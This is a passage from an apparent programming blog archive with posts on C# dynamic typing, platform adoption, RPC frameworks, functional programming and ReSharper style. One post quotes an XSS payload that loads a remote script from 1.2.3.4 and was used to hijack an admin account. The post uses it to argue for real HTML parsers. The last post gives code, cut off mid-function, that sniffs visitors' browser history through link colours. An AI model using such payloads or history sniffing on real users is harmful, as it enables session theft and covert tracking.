Neither of these options is possible given the three data structures that Windows Azure gives you. It could be that these missing pieces are intended to be provided by SQL Data Services which I haven't taken a look at yet. If not, the lack of these pieces of functionality will be sticking point in the craw of developers making the switch from traditional Web development platforms.

Note Now Playing: Geto Boys - Gangsta (Put Me Down) Note


 

Categories: Personal | Programming

In a post entitled CS Broke Joe Gregorio writes

Computer Science, at a deep and fundamental level, is broken, and that applies not only to software but to hardware. One of the reasons that I have this feeling is that after programming for the past 25 years the field hasn't really changed. The conversations aren't any different. You could substitute 'Windows API' or 'Borland CGI' for 'HTML and CSS' and you'd be having the same exact conversations I had 15 or 20 years ago. We still struggle with leaks, be it memory, or file handles, or threads, or whatever. We still have race conditions. We still struggle with software that grows linearly in features but exponentially in complexity.

Two things came to mind as I read this

  1. If your definition of computer science includes HTML & CSS or Win32 then you're doing it wrong. In the words of Edsger Dijkstra, computer science is no more about computers than astronomy is about telescopes.

  2. Even if you limit the discussion to computer programming, does it also mean that civil engineering is broken because people today still have to discuss and solve the same kinds problems faced by the builders of the great wall of China or the Roman aqueducts?

Note Now Playing: Ice Cube - Go to Church Note


 

Categories: Programming

At the recent Microsoft Professional Developer's Conference there was a presentation by Anders Hejlsberg about The Future of C# which unveiled some of the upcoming features of C# 4.0. Of all the features announced, the one I found most interesting was the introduction of duck typing via a new static type called dynamic.

For those who aren't familiar with Duck Typing, here is the definition from Wikipedia

In computer programming, duck typing is a style of dynamic typing in which an object's current set of methods and properties determines the valid semantics, rather than its inheritance from a particular class. The name of the concept refers to the duck test, attributed to James Whitcomb Riley (see History below), which may be phrased as follows:

If it walks like a duck and quacks like a duck, I would call it a duck.

In duck typing one is concerned with just those aspects of an object that are used, rather than with the type of the object itself. For example, in a non-duck-typed language, one can create a function that takes an object of type Duck and calls that object's walk and quack methods. In a duck-typed language, the equivalent function would take an object of any type and call that object's walk and quack methods. If the object does not have the methods that are called then the function signals a run-time error.

This is perfectly illustrated with the following IronPython program

def PrintAt(container, index):
    print "The value at [%s] is %s" % (index, container[index])

if __name__ == "__main__":
    #create dictionary

    table = {1 : "one", 2 : "two",3 : "three"}
    #create sequence

    list = ("apple", "banana", "cantalope")

    PrintAt(table, 1)
    PrintAt(list, 1)

In the above program the PrintAt() simply requires that the container object passed in supports the index operator '[]' and can accept whatever type is passed in as the index. This means I can pass both a sequence (i.e. a list) or a dictionary (i.e. a hash table) to the function and it returns results even though the semantics of using the index operator is very different for lists and dictionaries.

Proponents of static typing have long argued that features like duck typing lead to hard-to-find bugs which are only detected at runtime after the application has failed instead of during development via compiler errors. However there are many situations even in statically typed programming where the flexibility of duck typing would be beneficial. A common example is invoking JSON or SOAP web services and mapping these structures to objects. 

Recently, I had to write some code at work which spoke to a JSON-based Web service and struggled with how to deal with the fact that C# requires me to define the class of an object up front before I can use it in my application. Given the flexible and schema-less nature of JSON, this was a problem. I ended up using the JsonReaderWriterFactory to create an XmlDictionaryReader which maps JSON into an XML document which can then be processed flexibly using XML technologies. Here's what the code looked like

using System;
using System.IO; 
using System.Runtime.Serialization.Json;
using System.Text;
using System.Xml; 

namespace Test
{
    class Program
    {
        static void Main(string[] args)
        {
            string json = @"{ ""firstName"": ""John"", ""lastName"": ""Smith"", ""age"": 21 }";
            var stream = new MemoryStream(ASCIIEncoding.Default.GetBytes(json));
            var reader = JsonReaderWriterFactory.CreateJsonReader(stream, XmlDictionaryReaderQuotas.Max); 

            var doc = new XmlDocument(); 
            doc.Load(reader);
            
            //error handling omitted for brevity
            string firstName = doc.SelectSingleNode("/root/firstName").InnerText; 
            int age          = Int32.Parse(doc.SelectSingleNode("/root/age").InnerText); 
            
            Console.WriteLine("{0} will be {1} next year", firstName, age + 1);
            Console.ReadLine();  
        }
    }
}

It works but the code is definitely not as straightforward as interacting with JSON from Javascript. This is where the dynamic type from C# 4.0 would be very useful. With this type, I could rewrite the above code as follows

using System;
using System.IO; 
using System.Runtime.Serialization.Json;
using System.Text;
using System.Xml; 

namespace Test
{
    class Program
    {
        static void Main(string[] args)
        {
            string json = @"{ ""firstName"": ""John"", ""lastName"": ""Smith"", ""age"": 21 }";
            var stream = new MemoryStream(ASCIIEncoding.Default.GetBytes(json));
            dynamic person = JsonObjectReaderFactory.CreateJsonObjectReader(stream, XmlDictionaryReaderQuotas.Max); 

            Console.WriteLine("{0} will be {1} next year", person.firstName, person.age + 1);
            Console.ReadLine();  
        }
    }
}

In the C# 4.0 version I can declare a person object whose class/type I don't have to define at compile time. Instead the property accesses are converted to dynamic calls to the named properties using reflection by the compiler. So at runtime when my [imaginary] JsonObjectReader dynamically creates the person objects from the input JSON, my application works as expected with a lot less lines of code.

It's amazing how Python-like C# gets each passing year.

FURTHER READING:


 

Categories: Programming

I've been thinking a lot about platform adoption recently. I guess it is the combination of the upcoming Microsoft PDC and watching the various moves in the area of social networking platforms like OpenSocial and fbOpen. One thing that is abundantly clear is that the dynamics that drive platform adoption are amazingly consistent regardless of whether you are talking about operating system platforms like Windows' Win32 and *nix's POSIX, cloud computing platforms like Amazon's EC2 + EBS + S3 and Google App Engine, or even data access APIs like the Flickr API and Google's GData.

When a developer adopts a platform, there is a value exchange between the developer and the software vendor. The more value that is provided to developers by the platform vendor, the more developers are attracted to the platform. Although this seems self evident, where providers of platforms go astray is that they often don't understand the value developers actually want out of software platforms and instead operate from an if we build it they will come mentality. 

There are three main benefits adoption of one platform over another can offer a developer. These benefits are captured in the following "laws" of platform adoption  

  1. Developers adopt a platform when it offers differentiation from competitors: In competitive software markets, building an application that stands out from the crowd is important. Platforms or technologies that enable developers to provide features that are unique to the application, even just temporarily, are thus valuable to developers in such markets. Typically, if these features are truly valuable to end users this leads to a "keeping up with the Joneses" effect where the majority applications in that space eventually adopt this platform. Recent examples of this include Flash video, AJAX and the Flickr API.

  2. Developers adopt a platform when it reduces the cost of software development: Building software is a labor intensive, complicated and error prone process which often results in failure. This makes software development an expensive undertaking. Platforms which reduce the cost of development are thus very valuable to developers. Platforms like Java and the .NET Framework reduced the cost of software development compared to building applications using C and C++. In recent years, platforms based on dynamic languages such as Ruby On Rails and Django have become increasingly popular for building Web applications as they offer simpler development options compared to using "enterprise" platforms like Java.

  3. Developers adopt a platform when it provides reach and/or better distribution: Every platform choice places a limit on which users the developer can reach. Building a Facebook application limits you to building applications for Facebook users, building an iPhone application limits you to people running Apple's phone and building an AJAX application limits you to users of modern browsers who don't have JavaScript disabled. In all of the aforementioned cases, the reach of the application platform is in the millions of users. Additionally, in all of the aforementioned cases there are alternative platforms that developers could choose that do not as many addressable end users and thus have less reach. 

    Distribution is another value add that modern platforms have begun to offer which augments the reach of the platform. The Facebook platform offers several viral distribution mechanisms for applications which enables applications to get noticed by end users and spread organically among users without explicit action by the developer. The Apple iPhone has the App Store which is the single, well-integrated entry point for users to discover and purchase applications for the device. Thus even though the iPhone may have users than other smart phone platforms, targeting the iPhone platform may still be more attractive than targeting other platforms due to its superior distribution channel for applications built on its platform. 

Sometimes developers adopt platforms due to external effects such as management mandate or peer pressure but even in these cases the underlying justification is usually one or more of the benefits above. These laws mean different things for the various participants in the software ecosystem.

  • For software vendors, they clarify that delivering a software platform isn't just about delivering a technology or a set of APIs. The value proposition to developers with regards to the three laws of adoption must be clearly shown to get developers to accept the platform. Smart platform vendors should pick one or more of these axes as the value proposition of their platform and hammer it home. Good examples of these approaches include how Google has been hammering home the 'reach' benefit of adopting OpenSocial or how Erlang evangelists have been pitching it as a solution to the multicore crises given that building concurrent applications is still an expensive endeavor in today's popular programming languages. 

  • For developers, they explain how to evaluate a platform and why some platforms get traction among their peers while others do not. So if you are a fan of the Common Lisp or the Pownce API, these laws of platform adoption explain why developers have flocked to other platforms in their stead.

Now Playing: Pink - So What


 

Categories: Platforms | Programming

I'm often surprised by how common it is for developers to prefer reinventing the wheel to using off-the-shelf libraries when solving problems tasks. This practice isn't limited to newbies who don't know any better but also to experienced developers who should. Experienced developers often make excuses about not wanting to take unnecessary dependencies or not trusting the code of others when justifying reinventing the wheel. For example, take this conversation that flowed through my Twitter stream yesterday

Jon Galloway
jongalloway: @
codinghorror Oh, one last thing - I'd rather trust the tough code (memory management, SSL, parsing) to experts and common libraries. about 11 hours ago from Witty in reply to codinghorror

Jeff Atwood
codinghorror @jongalloway you're right, coding is hard. Let's go shopping! about 12 hours ago from web in reply to jongalloway

Jeff Atwood
codinghorror @jongalloway I'd rather make my own mistakes (for things I care about) than blindly inherit other people's mistakes. YMMV. about 12 hours ago from web in reply to jongalloway

The background on this conversation is that Jeff Atwood (aka codinghorror) recently decided to quit his job and create a new Website called stackoverflow.com. It is a question and answer site for asking programming questions where users can vote on the best answers to specific questions. You can think of it as Yahoo! Answers but dedicated to programming questions. You can read a review of the site by Michiel de Mare for more information.

Recently Jeff Atwood blogged about how he was planning to use regular expressions to sanitize HTML input on StackOverflow.com in his blog post entitled Regular Expressions: Now You Have Two Problems where he wrote

I'd like to illustrate with an actual example, a regular expression I recently wrote to strip out dangerous HTML from input. This is extracted from the SanitizeHtml routine I posted on RefactorMyCode.

var whitelist =
 @"</?p>|<br\s?/?>|</?b>|</?strong>|</?i>|</?em>|
  </?s>|</?strike>|</?blockquote>|</?sub>|</?super>|
  </?h(1|2|3)>|</?pre>|<hr\s?/?>|</?code>|</?ul>|
  </?ol>|</?li>|</a>|<a[^>]+>|<img[^>]+/?>";

What do you see here? The variable name whitelist is a strong hint. One thing I like about regular expressions is that they generally look like what they're matching. You see a list of HTML tags, right? Maybe with and without their closing tags?

The problem Jeff was trying to solve is how to allow a subset of HTML tags while stripping out all other HTML so as to prevent cross site scripting (XSS) attacks. The problem with Jeff's approach which was pointed out in the comments by many people including Simon Willison is that using regexes to filter HTML input in this way assumes that you will get fairly well-formed HTML. The problem with that approach which many developers have found out the hard way is that you also have to worry about malformed HTML due to the liberal HTML parsing policies of many modern Web browsers. Thus to use this approach you have to pretty much reverse engineer every HTML parsing quirk of common browsers if you don't want to end up storing HTML which looks safe but actually contains an exploit. Thus to utilize this approach Jeff really should have been looking at using a full fledged HTML parser such as SgmlReader or Beautiful Soup instead of regular expressions.

It didn't take long for the users of StackOverflow.com to show Jeff the error of his ways as evidenced by his post Protecting Your Cookies: HttpOnly where he acknowledges his mistake as follows

So I have this friend. I've told him time and time again how dangerous XSS vulnerabilities are, and how XSS is now the most common of all publicly reported security vulnerabilities -- dwarfing old standards like buffer overruns and SQL injection. But will he listen? No. He's hard headed. He had to go and write his own HTML sanitizer. Because, well, how difficult can it be? How dangerous could this silly little toy scripting language running inside a browser be?

As it turns out, far more dangerous than expected.

Imagine, then, the surprise of my friend when he noticed some enterprising users on his website were logged in as him and happily banging away on the system with full unfettered administrative privileges.

How did this happen? XSS, of course. It all started with this bit of script added to a user's profile page.

<img src=""http://www.a.com/a.jpg<script type=text/javascript 
src="http://1.2.3.4:81/xss.js">" /><<img 
src=""http://www.a.com/a.jpg</script>"

Through clever construction, the malformed URL just manages to squeak past the sanitizer. The final rendered code, when viewed in the browser, loads and executes a script from that remote server. 

The sad thing is that Jeff Atwood isn't the first nor will he be the last programmer to think to himself "It's just HTML sanitization, how hard can it be?". There are many lists of Top HTML Validation Bloopers that show tricky it is to get the right solution to this seemingly trivial problem. Additionally, it is sad to note that despite his recent experience, Jeff Atwood still argues that he'd rather make his own mistakes than blindly inherit the mistakes of others as justification for continuing to reinvent the wheel in the future. That is unfortunate given that is a bad attitude for a professional software developer to have.

Rolling your own solution to a common problem should be the last option on your list not the first. Otherwise, you might just end up a candidate for The Daily WTF and deservedly so.

Now Playing: T-Pain - Cant Believe It (feat. Lil Wayne)


 

Categories: Programming

One of the valuable ideas from Frederick Brooks' classic The Mythical Man Month is the notion of the second system effect when designing software systems. The following is an excerpt from the book where the concept is introduced

An architect’s first work is apt to be spare and clean. He knows he doesn’t know what he’s doing, so he does it carefully and with great restraint.

As he designs the first work, frill after frill and embellishment after embellishment occur to him. These get stored away to be used “next time.” Sooner or later the first system is finished, and the architect, with firm confidence and a demonstrated mastery of that class of systems, is ready to build a second system.

This second is the most dangerous system a man ever designs. When he does his third and later ones, his prior experiences will confirm each other as to the general characteristics of such systems, and their differences will identify those parts of his experience that are particular and not generalizable.

The general tendency is to over-design the second system, using all the ideas and frills that were cautiously sidetracked on the first one.

In my experience, the second system effect doesn't just come into play when the creator(s) of the second system also worked on the first system. In many cases, a development team may be brought in to build a new version of a first system either because they are competitors trying to one up a successful product or they are building the next generation of the technology while the original team goes into "maintenance mode" (i.e. shades of The Soul of a New Machine). In such situations, the builders of the second system can fall into the trap that Frederick Brooks describes in chapter 5 of Mythical Man Month.

At almost any point in time over the past few years, I could easily count about three or four software projects I was personally familiar with that were making classic "second system" mistakes. However instead of vilifying these projects, I thought it would be useful to list the top three things I've seen that have separated second systems that have avoided falling into this trap and those that haven't.

Realize You Can't Do It All In One Release

A lot of projects lose their way because they try do a too much in a single release. As Raymond Chen wrote You don't know what you do until you know what you don't do. Until you start focusing on a key set of scenarios your product will nail and start cutting features that aren't necessary to hitting those scenarios, your project isn't ready for prime time. What developers often fail to remember is that there is always another version and you can fit those scenarios in at that point.

One company that gets this idea very well is Apple. I can still remember Cmdr Taco's infamous review of the original iPod when it ran in 2001; "No wireless. Less space than a nomad. Lame." However the iPod nailed its key scenarios and with that success kept expanding its set of key scenarios (more space, video, photos, etc) until it became the cultural juggernaut it is today. You can see the same qualities in the iPhone. Just a few months ago, you'd read articles like Final report: The iPhone is not open for business that argued against the iPhone because it didn't support 3G, lacked Exchange support and had a non-existent developer platform. However the original iPhone was still successful and they addressed these issues in the next version to even greater success.

You Can be Date Driven or Feature Driven but not Both

A date driven release is one where everyone on the team is working to hit a particular time cut off after which the product will ship with or without their feature. Software products that have to hit the back to school cycle, tax time or the holiday shopping cycle are often date driven. A feature driven software release takes the "we won't ship it until it is ready approach" which is popular among Open Source projects and at companies like Google (according to Steve Yegge).

The thing to note about both approaches is that they are built on compromise. In that, we will compromise on our ship date but not on our features or vice versa. Where software projects tend to go awry is when they decide to be both feature driven and date driven because it means they have left no room to compromise.  This is additionally problematic because we are so poor at project estimation in our industry. So at the start of a project you have features that should take a two years to ship only budgeted as needing a year of work. In a date driven release, once this discrepancy is realized it is at that point features start getting cut or "placed below the cut line". In a feature driven release, the ship date is adjusted and ship expectations adjusted.

Projects that are both feature driven and date driven (i.e. we have to ship features X, Y & Z on date A) end up delaying these decisions until the last minute since they aren't mentally setup to compromise on either the date or the features. So they end up doing neither until the very last minute. This leads to missed deadlines, hastily cut features and demoralization within the product team. This often continues for multiple deadlines until finally the project team gets to the point where they feel they must show something for all the missed deadlines and cut features by throwing together a mediocre release after the one too many missed deadlines. We've all seen software projects that have succumbed to this and it is a sad sight to behold.

Don't Lose Track of What Made the First System Successful

Developers tend to be a fairly critical lot so when they look at a successful "first system", they often only see the flaws. This is often what fuels the second system effect and leads to losing sight of why the first system became a hit in the first place. A recent example of this is the search engine Cuil which was started by some former employees of Google with the intent of building a search engine which fixes the issues with Google's search engine. Unfortunately, they had a disastrous product launch which has been documented in blog posts like How To Lose Your Cuil 20 Seconds After Launch and news articles such as Cuil shows us how not to launch a search engine.

When you look back at the PR buildup leading to Cuil's launch, it is interesting to note that even though the Cuil team dubbed themselves Google slayers they did not address the key things people like about Google's search. Google's search provides relevant search results as quickly as possible. Cuil bragged about providing more complete results because their search index was bigger, showing more results above the fold by going with three columns in their search engine results page and that it offered richer query refinement features than Google. Although all of these are weaknesses in Google's user experience they are trumped by the fact that Google provides extremely relevant search results.  The Cuil team lost sight of this, probably because working at Google they only ever talked about fixing the flaws in the search product instead of also internalizing what has made it so successful.

This is an extremely common mistake that cuts across all categories of software products.

Now Playing: Young Jeezy - Motivation


 

Categories: Programming

In the past year both Google and Facebook have released the remote procedure call (RPC) technologies that are used for communication between servers within their data centers as Open Source projects. 

Facebook Thrift allows you to define data types and service interfaces in a simple definition file. Taking that file as input, the compiler generates code to be used to easily build RPC clients and servers that communicate seamlessly across programming languages. It supports the following programming languages; C++, Java, Python, PHP and Ruby.

Google Protocol Buffers allows you to define data types and service interfaces in a simple definition file. Taking that file as input, the compiler generates code to be used to easily build RPC clients and servers that communicate seamlessly across programming languages. It supports the following programming languages; C++, Java and Python.

That’s interesting. Didn’t Steve Vinoski recently claim that RPC and it's descendants are "fundamentally flawed"? If so, why are Google and Facebook not only using RPC but proud enough of their usage of yet another distributed object RPC technology based on binary protocols that they are Open Sourcing them? Didn’t they get the memo that everyone is now on the REST + JSON/XML bandwagon (preferrably AtomPub)?

In truth, Google is on the REST + XML band wagon. Google has the Google Data APIs (GData) which is a consistent set of RESTful APIs for accessing data from Google's services based on the Atom Publishing Protocol aka RFC 5023. And even Facebook has a set of plain old XML over HTTP APIs (POX/HTTP) which they incorrectly refer to as the Facebook REST API.

So what is the story here?

It is all about coupling and how much control you have over the distributed end points. On the Web where you have little to no control over who talks to your servers or what technology they use, you want to utilize flexible technologies that make no assumptions about either end of the communication. This is where RESTful XML-based Web services shine. However when you have tight control over the service end points (e.g. if they are all your servers running in your data center) then you can use more optimized communications technologies that add a layer of tight coupling to your system. An example of the kind of tight coupling you have to live with is that  Facebook Thrift requires specific versions of g++ and Java if you plan to talk to it using code written in either language and you can’t talk to it from a service written in C#.

In general, the Web is about openness and loose coupling. Binary protocols that require specific programming languages and runtimes are the exact opposite of this. However inside your Web service where you control both ends of the pipe, you can optimize the interaction between your services and simplify development by going with a binary RPC based technology. More than likely different parts of your system are already doing this anyway (e.g. memcached uses a binary protocol to talk between cache instances, SQL Server uses TDS as the communications protocol between the database and it's clients, etc).

Always remember to use the right tool for the job. One size doesn’t fit all when it comes to technology decisions.

FURTHER READING

  • Exposing a WCF Service With Multiple Bindings and Endpoints – Keith Elder describes how Windows Communication Foundation (WCF) supports multiple bindings that enable developers to expose their services in a variety of ways.  A developer can create a service once and then expose it to support net.tcp:// or http:// and various versions of http:// (Soap1.1, Soap1.2, WS*, JSON, etc).  This can be useful if a service crosses boundaries between the intranet and the Internet.

Now Playing: Pink - Family Portrait


 

Categories: Platforms | Programming

As a developer who was raised on procedural and object oriented programming languages like C, C++ and Java it took me a while to figure out what people were raving about when it comes to the benefits of functional programming techniques. I always thought closures and  higher order functions were words used by snobby kids from MIT and grad students to show how overeducated they were as opposed to programming tools I'd ever find useful.

This thinking was additionally fueled by articles like Joel Spolsky's Can Your Programming Language Do This? which not only came off as snobby but also cemented the impression that higher order functions like map() and reduce() are for people solving "big" problems like the folks at Google who are trying to categorize the entire World Wide Web not people like me who write desktop feed readers in their free time.

All of this changed when I started learning Python.

With Python I started writing programs that threw around lambda functions and used list comprehensions to map, reduce and filter without even thinking twice about it. Afterwards when I'd go back to programming in C# 2.0 I'd marvel at how much more code it took to get things done. There were tasks which I could perform in a line of Python code that took four, five sometimes up to ten lines of C# code. I began to miss Python sorely.

Then I installed Visual Studio 2008 and got to use the Language Integrated Query (LINQ) features of C# 3.0 and was blown away. The C# folks had not only brought over functional programming constructs like lambda expressions (aka anonymous methods) but also had added the 3 core functions (map, reduce and filter) to all lists, collections and other implementers of the IEnumerable interface. So what are map, reduce and filter? They are higher order functions [which means they take functions as input] that operate on lists of objects. Here are their definitions from the Python documentation along with links to their C# 3.0 equivalents.

Function name in Python Description from Python Documentation C# 3.0 Equivalent
map Apply function to every item of iterable and return a list of the results. Enumerable.Select
reduce (aka fold or  accumulate) Apply function of two arguments cumulatively to the items of iterable, from left to right, so as to reduce the iterable to a single value. For example, reduce(lambda x, y: x+y, [1, 2, 3, 4, 5]) calculates ((((1+2)+3)+4)+5). The left argument, x, is the accumulated value and the right argument, y, is the update value from the iterable. If the optional initializer is present, it is placed before the items of the iterable in the calculation, and serves as a default when the iterable is empty. Enumerable.Aggregate
filter Construct a list from those elements of iterable for which function returns true. iterable may be either a sequence, a container which supports iteration, or an iterator. Enumerable.Where

With these three building blocks, you could replace the majority of the procedural for loops in your application with a single line of code. C# 3.0 doesn't just stop there. There are also a number of other useful higher order functions available on all enumerable/collection objects.

In the next version of RSS Bandit, we will support synchronizing your subscription state from Google Reader, NewsGator Online and the Common Feed List provided by the Windows RSS platform. This means that when the user hits [Update All Feeds] to refresh their subscriptions we need to (i) aggregate the unread item count across the different feed sources and store it (ii) ask each feed source to kick off its update process and (iii) on completion of the update determine if there are new items by recalculating the unread count across all feed sources and see if it differs from the value we got in the first step. Here's what the UpdateAllFeeds() method looks like 

        public void UpdateAllFeeds(bool force_download)
{
List<SubscriptionRootNode> rootNodes = this.GetAllSubscriptionRootNodes();
if (rootNodes != null)
{
if (_timerRefreshFeeds.Enabled)
_timerRefreshFeeds.Stop();
_lastUnreadFeedItemCountBeforeRefresh = rootNodes.Sum(n => n.UnreadCount);
FeedSources.Sources.ForEach(s => s.RefreshFeeds(force));
}
}

In the UpdateAllFeeds() method we use Enumerable.Sum which is a specialized reduce() function to calclulate the unread count of each of the different subscription sources. Then we use a ForEach extension method to effectively loop through each feed source and call its RefreshFeeds() method. That would have been two for loops in older versions of C# or Java.

We also perform more complicated reduce or fold operations which go outside the norm of just accumulating some numeric value in RSS Bandit. When a user subscribes to a new feed, we populate a drop down list with the list of categories from the user's subscriptions so the user can decide which category to place the feed in. With multiple feed sources, we need to populate the drop down with the list of categories used in Google Reader, NewsGator, the Windows Common Feed List as well as those within RSS Bandit while taking care to eliminate duplicates. The GetCategories() method shown below does the bulk of that work in a single line of code via Enumerable.Aggregate

public IEnumerable<string> GetCategories()
{
  //list containing default category used for bootstrapping the Aggregate function
  var c = new List<string>();
  c.Add(DefaultCategory);
  IEnumerable<string> all_categories = c; 

  //get a list of the distinct categories used across all feed sources
  all_categories = FeedSources.Sources.Aggregate(all_categories, 
                                 (list, s) => list.Union(s.Source.GetCategories().Keys, StringComparer.InvariantCultureIgnoreCase));                        
  return all_categories;
}

The first step is to set up a list with the default category ("Unclassified") and then use Aggregate() to go through each source and perform a union of the current list of categories with the list of categories from that feed source. The categories are compared in a case insensitive manner to remove duplicates from the union. If there are no categories defined in any of the feed sources then only the default category ends up being returned.

When a user is viewing their Google Reader feeds in RSS Bandit, any action the user takes in the application is reflected on the Web. So each time a user marks an item as read, renames a feed title, subscribes or unsubscribes from a feed, a Web request is made behind the scenes to update the user's state on the Web via Google Reader's REST API. Instead of making the Web requests synchronously and possibly tying up the UI I instead add each Web request intended for the Google Reader API to a queue of pending operations. Since the operations may sit in the queue for a few seconds or minutes in the worst case, we can optimize network usage by removing events from the queue if they end up being redundant.

For example. the DeleteFeedFromGoogleReader() method removes every pending operation related to a particular feed if an unsubscribe event is enqueued. After all, there is no point in making Web requests to mark the feed as read or rename it, if the next request from the user is to unsubscribe from the feed. The method uses a filter operation, Enumerable.Where, to determine the events to remove as shown below

       public void DeleteFeedFromGoogleReader(string googleUserID, string feedUrl)
        {
            var deleteOp = new PendingGoogleReaderOperation(GoogleReaderOperation.DeleteFeed, 
                                                            new object[] {feedUrl},googleUserID);

            lock (pendingGoogleReaderOperations)
            {
                //remove all pending operations related to the feed since it is going to be unsubscribed
                IEnumerable<PendingGoogleReaderOperation> ops2remove 
                  = pendingGoogleReaderOperations.Where(op => op.GoogleUserName.Equals(deleteOp.GoogleUserName)
                                                        && op.Parameters.Contains(feedUrl));

                foreach (PendingGoogleReaderOperation op2remove in ops2remove)
                {
                    pendingGoogleReaderOperations.Remove(op2remove); 
                }

                pendingGoogleReaderOperations.Add(deleteOp);   
            }
        }

There are more examples from the RSS Bandit code base but I'm sure you get the idea. The point is that functional programming techniques give you the ability to get more bang for your buck (where bucks are lines of code) even when performing the most mundane of tasks. 

If your programming language doesn't support lambda functions or have map/reduce/filter functions built in, you just might be a Blub Programmer who is missing out on being more productive because your programming language doesn't support "esoteric" or "weird" features.

My next step is to spend more time with Lisp. Wish me luck. :)

Now Playing: Lil Wayne - Lollipop (remix) (feat. Kanye West)


 

Categories: Programming

Recently we got a new contributor on RSS Bandit who uses the ReSharper refactoring tool. This has led to a number of changes to our code base due to suggestions from ReSharper. For the most part, I've considered these changes to be benign until recently. A few weeks ago, I grabbed a recent snap shot of the code from SVN and was surprised to see all the type declarations in method bodies replaced by implicitly typed variable declarations (aka the var keyword). Below is an excerpt of what some of the "refactored" code now look likes.

var selectedIsChild = NodeIsChildOf(TreeSelectedFeedsNode, selectedNode);
var isSmartOrAggregated = (selectedNode.Type == FeedNodeType.Finder ||
                                      selectedNode.Type == FeedNodeType.SmartFolder);
//mark all viewed stories as read 
if (listFeedItems.Items.Count > 0){
   listFeedItems.BeginUpdate();

   for (var i = 0; i < listFeedItems.Items.Count; i++){
       var lvi = listFeedItems.Items[i];
       var newsItem = (INewsItem) lvi.Key;

I found this change to be somewhat puzzling since while it may have shortened the code by a couple of characters on each line but at the cost of making the code less readable. For example, I can't tell what the type of the variable named lvi is just by looking at the code.

I did some searching online to see how the ReSharper team justified this refactoring "suggestion" and came across the blog post entitled  ReSharper vs C# 3.0 - Implicitly Typed Locals by a member of the ReSharper team which contains the following excerpt

Some cases where it seems just fine to suggest var are:

  1. New object creation expression: var dictionary = new Dictionary<int, string>();
  2. Cast expression: var element = (IElement)obj;
  3. Safe Cast expression: var element = obj as IElement;
  4. Generic method call with explicit type arguments, when return type is generic: var manager = serviceProvider.GetService<IManager>()
  5. Generic static method call or property with explicit type arguments, when return type is generic: var manager = Singleton<Manager>.Instance;

However, various code styles may need to suggest in other cases. For example, programming in functional style with small methods can benefit from suggesting every suitable local variable to be converted to var style. Or may be your project has IElement root interface and you just know that every variable with "element" name is IElement and you don't want explicit types for this case. Probably, any method with the name GetTreeNode() always return ITreeNode and you want vars for all such local variable.

Currently, we have two suggestions: one that suggests every suitable explicitly typed local to be converted to implicitly typed var, and another that suggests according to rules above.

So it seems there are two suggestion modes. The first suggests using the var keyword when the name of the type is obvious from the right hand side expression being evaluated such as casts or new object creation. The second mode suggests replacing type declarations with the var keyword anywhere the compiler can infer the type [which is pretty much everywhere except for a few edge cases such as when you want to initialize a variable with null at declaration]. 

The first suggestion mode makes sense to me since the code doesn't lose any clarity and it makes for shorter code. The second mode is the one I find problematic it takes information out of the equation to save a couple of characters per line of code. Each time someone is reading the code, they need to resort to using Go To Definition or Auto-Complete features of their IDE to tell something as simple as "what is the type of this object".

Unfortunately, the ReSharper developers seem to have dug in their heels religiously on this topic as can be seen in the post entitled Varification -- Using Implicitly Typed Locals where a number of arguments are made justifying always using implicitly typed variables including

  • It induces better naming for local variables.
  • It induces better API.
  • It induces variable initialization.
  • It removes code noise
  • It doesn't require using directive.

It's interesting how not only are almost all of these "benefits" mainly stylistic but how they contradict each other. For example, the claim that it leads to "better naming for local variables" really means it compels developers to use LONGER HUNGARIAN STYLE VARIABLE NAMES. Funny enough, these long variable names add more noise to the code overall since they show up everywhere the variable is used compared to a single type name showing up when the variable is declared. The argument that it leads to "better API" is another variation of this theme since it argues that if you are compelled to use LONGER MORE DESCRIPTIVE PROPERTY NAMES (e.g. XmlNode.XmlNodeName instead of XmlNode.Name) then this is an improvement.  Someone should inform the ReSharper folks that encoding type information in variable names sucks, that's why we're using a strongly typed programming language like C# in the first place.

One more thing, the claim that it encourages variable initialization is weird given that the C# compiler already enforces that. More importantly, the common scenario of initializing a variable to null before it is used isn't supported by the var keyword.

In conclusion, it seems to me that someone on the ReSharper team went overboard in wanting to support the new features in C# 3.0 in their product even though in some cases using these features cause more problems than they solve. Amusingly enough, the C# 3.0 language designers foresaw this problem and put the following note in the C# language reference

Remarks: Overuse of var can make source code less readable for others. It is recommended to use var only when it is necessary, that is, when the variable will be used to store an anonymous type or a collection of anonymous types.

Case closed.

Now Playing: Mariah Carey - Side Effects (featuring Young Jeezy)


 

Categories: Programming

Niall Kennedy has a blog post entitled Sniff browser history for improved user experience where he describes a common-sense technique to test URLs against a Web browser’s visited page history. He writes

I first blogged about this technique almost two years ago but I will now provide even more details and example implementations.
...
A web browser such as Firefox or Internet Explorer will load the current user's browser history into memory and compare each link (anchor) on the page against the user's previous history. Previously visited links receive a special CSS pseudo-class distinction of :visited and may receive special styling.
...
Any website can test a known set of links against the current visitor's browser history using standard JavaScript.

  1. Place your set of links on the page at load or dynamically using the DOM access methods.
  2. Attach a special color to each visited link in your test set using finely scoped CSS.
  3. Walk the evaluated DOM for each link in your test set, comparing the link's color style against your previously defined value.
  4. Record each link that matches the expected value.
  5. Customize content based on this new information (optional).

Each link needs to be explicitly specified and evaluated. The standard rules of URL structure still apply, which means we are evaluating a distinct combination of scheme, host, and path. We do not have access to wildcard or regex definitions of a linked resource.

Niall goes on to describe the common ways one can improve the user experience on a site using this technique. I’ve been considering using this approach to reduce the excess blog flair on my weblog. It doesn’t make much sense to show people a “submit to reddit” button  if they don’t use reddit. The approach suggested in Niall’s article makes it possible for me to detect what sites a user visits and then only display relevant flair on my blog posts. Unfortunately neither of Niall’s posts on the topic provide example code which is why I’m posting this follow up to Niall’s post. Below is an HTML page that uses Javascript function to return which social bookmarking sites a viewer of a Web page actually uses based on their browser history.


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">  
  <head>
    <title>What Social Bookmarking Sites Do You Use?</title>  
    <script type="text/javascript">
var bookmarking_sites = new Array("http://programming.reddit.com", "http://www.dzone.com", "http://www.digg.com", "http://del.icio.us", "http://www.stumbleupon.com", "http://ma.gnolia.com", "http://www.dotnetkicks.com/", "http://slashdot.org")


function DetectSites() {
  var testelem = document.getElementById("linktest");
  var visited_sites = document.getElementById("visited_sites");
  var linkColor; 
  var isVisited = false;

  for (var i = 0; i < bookmarking_sites.length; i++) {          
         var url2test = document.createElement("a");                
         url2test.href = bookmarking_sites[i];       
         url2test.innerHTML = "I'm invisible, you can't click me";        
         
	 testelem.appendChild(url2test); 

	 if(document.defaultView){ //Mozilla
